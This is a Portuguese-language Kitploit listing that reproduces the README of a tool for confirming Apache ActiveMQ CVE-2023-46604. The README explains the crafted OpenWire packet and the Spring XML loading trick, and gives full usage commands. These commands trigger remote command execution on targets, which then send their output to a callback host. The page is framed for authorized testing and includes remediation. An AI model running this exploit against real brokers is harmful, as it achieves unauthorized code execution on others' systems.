Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
ActiveMQ-CVE-2023-46604 — Validador não destrutivo para Apache ActiveMQ CVE-2023-46604. Envia pacotes OpenWire personalizados, usa servidor de callback HTTP para confirmar RCE ou carregamento de XML, e gera evidências em CSV/JSON para testes de penetração autorizados. | Kitploit
Ferramentas/GitHubGitHub/bhanunamikaze/activemq-cve-2023-46604
Scanners de VulnerabilidadesAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de Penetração
GitHubbhanunamikaze/activemq-cve-2023-46604

ActiveMQ-CVE-2023-46604

Validador não destrutivo para Apache ActiveMQ CVE-2023-46604. Envia pacotes OpenWire personalizados, usa servidor de callback HTTP para confirmar RCE ou carregamento de XML, e gera evidências em CSV/JSON para testes de penetração autorizados.

Ver Repositório
1há 13h 10mAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Validador Seguro do CVE-2023-46604 para ActiveMQ

Um validador de arquivo único e não destrutivo para Apache ActiveMQ CVE-2023-46604. Ele inicia seu próprio servidor de callback HTTP, gera XML Spring específico para o alvo em memória, envia o pacote OpenWire manipulado, correlaciona callbacks com tokens únicos e grava evidências em CSV/JSON.

O projeto foi projetado para testes de penetração autorizados e validação de frotas. Ele deliberadamente não implementa reverse shells, execução irrestrita de comandos, expansão CIDR, persistência ou preparação de payloads.

O que o validador comprova

Dois modos de prova fixos estão disponíveis:

  • rce executa uma sonda de identidade fixa e somente leitura e retorna sua saída ao servidor HTTP integrado. Um callback confirma a execução de comandos do sistema operacional no contexto do serviço ActiveMQ.
  • xml serve um contexto Spring vazio. Uma busca confirma que a mensagem OpenWire manipulada fez o alvo instanciar ClassPathXmlApplicationContext e recuperar XML controlado pelo atacante, sem iniciar um processo.

Nenhum arquivo XML precisa ser criado ou hospedado separadamente.

Recursos

  • Um único arquivo Python; apenas biblioteca padrão
  • Servidor HTTP integrado com threads
  • Tokens dinâmicos de XML e callback por alvo
  • Entrada explícita de alvo único e múltiplos alvos
  • Concorrência limitada e novas tentativas de envio
  • Suporte a OpenWire simples e OpenWire com TLS
  • Sondas de identidade fixas para Linux e Windows
  • Evidências em CSV por padrão, JSON opcional
  • Estados de resultado precisos que evitam falsas alegações de "não vulnerável"
  • Código de saída --fail-on-vuln compatível com CI
  • Requisitos

    • Python 3.9 ou mais recente
    • Acesso de rede do host de teste ao listener OpenWire do alvo
    • Acesso de rede do alvo de volta ao endereço de callback HTTP integrado
    • Autorização explícita para cada alvo

    A porta OpenWire padrão é 61616, mas portas não padrão são suportadas.

    Início rápido

    Use endereços apenas para documentação nos exemplos; substitua-os pelos seus ativos autorizados.

    Alvo Linux único

    root@kitploit:~
    python3 activemq_validator.py \
      --authorized \
      --target 192.0.2.10:61616 \
      --callback-host 192.0.2.50
    

    O script inicia o servidor de callback automaticamente em TCP/8000, serve o XML gerado, envia o pacote OpenWire, aguarda evidências, imprime uma tabela de resultados e grava:

    root@kitploit:~
    activemq-cve-2023-46604-results.csv
    

    Múltiplos alvos explícitos

    root@kitploit:~
    python3 activemq_validator.py \
      --authorized \
      --target mq01.example.test:61616 \
      --target mq02.example.test:61616 \
      --target tcp://192.0.2.23:61500 \
      --callback-host 192.0.2.50 \
      --workers 4 \
      --json-output results.json
    

    Arquivo de alvos

    Crie targets.txt:

    root@kitploit:~
    # Um host explicitamente autorizado por linha
    mq01.example.test:61616
    192.0.2.21:61616
    tcp://192.0.2.22:61500
    ssl://mq-secure.example.test:61617
    

    Execute:

    root@kitploit:~
    python3 activemq_validator.py \
      --authorized \
      --targets-file targets.txt \
      --callback-host 192.0.2.50 \
      --http-port 8000 \
      --platform linux \
      --proof rce \
      --workers 8 \
      --wait 15 \
      --output findings.csv \
      --json-output findings.json
    

    Arquivos de alvos podem conter linhas em branco e comentários que começam com #. A expansão CIDR não é suportada intencionalmente; enumere o inventário autorizado explicitamente.

    Detecção automática do endereço de callback

    Para redes roteadas simples, omita --callback-host:

    root@kitploit:~
    python3 activemq_validator.py \
      --authorized \
      --target 192.0.2.10:61616
    

    A ferramenta seleciona o endereço de origem local usado para rotear em direção ao primeiro alvo. Especifique --callback-host ao testar através de NAT, VPNs, contêineres, hosts de salto ou sistemas multi-homed.

    ActiveMQ hospedado em Windows

    root@kitploit:~
    python3 activemq_validator.py \
      --authorized \
      --target 192.0.2.30:61616 \
      --callback-host 192.0.2.50 \
      --platform windows \
      --proof rce
    

    A sonda do Windows usa um comando PowerShell fixo e não interativo para retornar a identidade do serviço, o nome do computador e a versão do SO. Ela não fornece um shell interativo.

    Validação somente de carregamento de XML

    root@kitploit:~
    python3 activemq_validator.py \
      --authorized \
      --targets-file targets.txt \
      --callback-host 192.0.2.50 \
      --proof xml
    

    Este modo não instancia ProcessBuilder.

    OpenWire com TLS

    Use um alvo ssl://:

    root@kitploit:~
    python3 activemq_validator.py \
      --authorized \
      --target ssl://mq-secure.example.test:61617 \
      --callback-host 192.0.2.50
    

    Para um listener interno com certificado não confiável:

    root@kitploit:~
    python3 activemq_validator.py \
      --authorized \
      --target ssl://mq-secure.example.test:61617 \
      --callback-host 192.0.2.50 \
      --tls-no-verify
    

    --tls-no-verify afeta apenas a conexão TLS OpenWire. O servidor de callback é HTTP.

    Estados de resultado

    StatusSignificado
    CONFIRMED_VULNERABLE_RCEO alvo buscou seu XML e o comando de identidade fixo retornou evidências.
    CONFIRMED_VULNERABLE_XML_LOADNo modo xml, o alvo buscou o documento XML exclusivo.
    VULNERABLE_XML_LOAD_ONLYNo modo rce, a recuperação do XML ocorreu, mas o callback do comando não. O caminho vulnerável de instanciação de classe é confirmado; ferramentas de callback, egress ou execução de processos podem estar restritas.
    NOT_CONFIRMEDO pacote foi enviado, mas nenhuma evidência HTTP correlacionada chegou antes do prazo. Isso não é prova de que o host está corrigido.
    UNREACHABLEA conexão TCP/TLS ou o envio do pacote falhou.

    Um broker corrigido, porta incorreta, filtragem de egress, problemas de roteamento, incompatibilidade de TLS e controles de endpoint podem afetar a validação baseada em callback. Preserve os timestamps de CSV/JSON e a saída do callback como evidência de relatório.

    Evidência de identidade fixa

    A sonda de identidade do Linux retorna uma saída semelhante a:

    root@kitploit:~
    CVE-2023-46604 RCE CONFIRMED
    uid=997(activemq) gid=997(activemq) groups=997(activemq)
    user=activemq
    host=mq01
    os=Linux 5.15.0-...
    

    Ela tenta curl, wget e BusyBox wget para o POST HTTP. Se o XML for buscado, mas nenhum desses clientes estiver disponível, o resultado é VULNERABLE_XML_LOAD_ONLY em vez de um falso negativo.

    Códigos de saída

    • 0: validação concluída, ou vulnerabilidades encontradas sem --fail-on-vuln
    • 2: pelo menos um resultado vulnerável foi encontrado e --fail-on-vuln foi fornecido
    • erros do argparse usam o código de erro normal de linha de comando diferente de zero

    Exemplo de uso em CI:

    root@kitploit:~
    python3 activemq_validator.py \
      --authorized \
      --targets-file targets.txt \
      --callback-host 192.0.2.50 \
      --fail-on-vuln
    

    Como funciona

    O CVE-2023-46604 afeta o unmarshalling OpenWire do Java. O validador envia um ExceptionResponse OpenWire com marshalling solto cuja classe de exceção é:

    root@kitploit:~
    org.springframework.context.support.ClassPathXmlApplicationContext
    

    A mensagem de exceção é a URL exclusiva do XML Spring gerado. O código vulnerável do ActiveMQ instancia a classe selecionada pelo atacante com essa URL. No modo rce, o contexto Spring inicia uma sonda ProcessBuilder fixa; no modo xml, o contexto está vazio.

    Cada alvo recebe um token diferente, por exemplo:

    root@kitploit:~
    http://192.0.2.50:8000/poc/<unique-token>.xml
    http://192.0.2.50:8000/cb/<same-token>
    

    Isso permite que callbacks simultâneos sejam atribuídos ao alvo correto.

    Referência de comandos

    root@kitploit:~
    --authorized                 Reconhecimento de autorização obrigatório
    -t, --target VALUE           Alvo explícito; repetível
    -T, --targets-file FILE      Um alvo explícito por linha; repetível
    --default-port PORT          Padrão 61616
    --tls                        Usar TLS para todos os alvos
    --tls-no-verify              Desabilitar validação de certificado TLS OpenWire
    --callback-host HOST         Endereço que os alvos usam para callbacks HTTP
    --bind-host HOST             Endereço de bind HTTP local; padrão 0.0.0.0
    --http-port PORT             Porta HTTP local; padrão 8000; 0 seleciona uma porta livre
    --proof rce|xml              Modo de prova fixo; padrão rce
    --platform linux|windows     SO do alvo para o modo RCE; padrão linux
    --workers N                  Workers paralelos; máximo 32
    --connect-timeout SECONDS    Timeout TCP/TLS
    --wait SECONDS               Janela de coleta de callbacks
    --retries N                  Uma a três tentativas de envio de pacote
    --retry-delay SECONDS        Atraso entre tentativas
    -o, --output FILE            Destino das evidências CSV
    --json-output FILE           Destino JSON opcional
    --verbose                    Mostrar logs de solicitações HTTP
    --fail-on-vuln               Sair com 2 quando um resultado vulnerável for encontrado
    

    Testes

    root@kitploit:~
    python3 -m unittest discover -s tests -v
    

    Os testes verificam a análise de alvos, rejeição de CIDR, boa formação do XML e a estrutura do quadro OpenWire sem contatar nenhum alvo.

    Remediação

    Atualize o ActiveMQ para uma versão corrigida e atualmente suportada. O aviso da Apache identificou versões corrigidas para os ramos então atuais como ActiveMQ 5.15.16, 5.16.7, 5.17.6, 5.18.3 e 6.0.0, e Artemis 2.31.2. Também restrinja os listeners OpenWire a clientes confiáveis e monitore recuperações de XML de saída inesperadas.

    Segurança e escopo

    Este repositório é para validação defensiva e avaliações de segurança autorizadas. Ele omite intencionalmente:

    • payloads de reverse shell
    • execução arbitrária de --command
    • preparação de executáveis ou scripts
    • persistência
    • ataques de autenticação
    • expansão CIDR/intervalo

    A sonda de identidade fixa é suficiente para demonstrar a execução remota de comandos e o impacto na conta de serviço sem estabelecer acesso interativo.

    Referências

    • Apache ActiveMQ: https://activemq.apache.org/news/cve-2023-46604
    • Avisos de segurança do Apache ActiveMQ: https://activemq.apache.org/components/classic/security
    • Código-fonte do Apache ActiveMQ: https://github.com/apache/activemq
    • Laboratório Vulhub: https://github.com/vulhub/vulhub/tree/master/activemq/CVE-2023-46604

    Licença

    MIT. Consulte LICENSE.

    Baixar ferramenta